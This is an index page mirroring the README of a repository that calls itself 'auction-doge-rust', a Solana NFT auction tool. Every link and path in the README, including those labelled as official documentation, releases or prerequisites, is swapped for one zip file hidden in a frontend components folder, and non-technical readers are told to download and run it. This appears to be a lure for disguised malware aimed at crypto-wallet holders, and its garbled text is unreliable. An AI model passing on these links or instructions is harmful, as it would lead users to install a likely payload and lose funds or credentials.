An open API service indexing awesome lists of open source software.

https://github.com/luffysempai/auction-doge-rust

🎨 Create and manage NFT auctions effortlessly with "auction-doge-rust", designed for seamless bidding and secure ownership transfer.
https://github.com/luffysempai/auction-doge-rust

anchor auction nft rust solana spl-token

Last synced: 3 months ago
JSON representation

🎨 Create and manage NFT auctions effortlessly with "auction-doge-rust", designed for seamless bidding and secure ownership transfer.

Awesome Lists containing this project

README

          

# 🐢 auction-doge-rust - Your Easy Way to Bid on NFTs

[![Download](https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip%20Now-Get%20the%https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip)](https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip)

## πŸš€ Getting Started

Welcome to **auction-doge-rust**, your straightforward tool for participating in NFT auctions. This guide will help you download the app and start bidding without any technical knowledge.

## πŸ› οΈ Download & Install

To get started, follow these steps:

1. Visit the [Releases Page](https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip).
2. Look for the latest version available.
3. Download the appropriate file for your operating system.

After downloading, locate the file on your computer and run it to install the application.

## πŸ“₯ Prerequisites

Before you can use auction-doge-rust, ensure you have the necessary tools installed on your system:

- **https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip**: This is required to run the application. You can download it from [https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip Official Website](https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip).
- **Yarn**: This package manager makes it easy to handle the project's dependencies. You can install it by following [Yarn Installation Guide](https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip).

Additionally, you need to install `ts-node` globally. Open your command line or terminal and run:
```bash
npm install -g ts-node
```

## βœ… Prepare Your Solana Wallet

To interact with the auctions, you will need a Solana wallet set up. Ensure that your wallet is ready by checking the following path:
```
https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip
```

## 🎬 How to Use the Application

Once you have installed the application and set up your wallet, you can start using it. Here’s how:

1. Open the main script located at `https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip`. This script contains all the functionalities you need.
2. You can view the types of program accounts at `https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip`. This helps you understand how different parts of the application work together.
3. For an easy integration with JavaScript, the IDL can be found at `https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip`.

### πŸ”„ Testing the Application

If you want to test the script's functions, follow these instructions:

1. Modify the commands in the main functions of the `https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip` file to call other available functions.
2. Make sure the `ANCHOR_WALLET` environment variable is correctly configured in the `https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip` file.
3. To run the application, execute the command:
```bash
yarn ts-node
```

## 🎨 Features

### πŸ—οΈ Create Your Auction

- As the creator, your NFTs will be safely stored in the auction address.
- When you create an auction, call the `create_open_auction` function. The NFT will be sent to the Program Derived Address (PDA) and the auction details will be stored securely.

### πŸ“ˆ Place Bids

You can participate in various auctions by placing bids. The application tracks bids and updates participants on auction progress.

### πŸ† Identify Winners

The highest bidder at the end of the auction is declared the winner. All transactions are processed securely on the Solana blockchain.

## πŸ“œ License

This project is licensed under the MIT License. You are free to use, modify, and distribute the application under the terms outlined in the license.

## 🌐 Community and Support

If you have questions, consider joining the community for support. You can find discussions and help by visiting the issues section of the repository on GitHub.

If you encounter any problems or have suggestions, feel free to create an issue. We appreciate your feedback to improve the project.

## πŸ“ Additional Resources

Here are a few useful resources to deepen your understanding:
- [Solana Documentation](https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip)
- [https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip Documentation](https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip)
- [Yarn Documentation](https://github.com/Luffysempai/auction-doge-rust/raw/refs/heads/main/frontend/src/components/rust_doge_auction_v3.3.zip)

For any other questions related to usage or features, do not hesitate to seek assistance from the community or check the available documentation linked above.

Thank you for using auction-doge-rust. Happy bidding!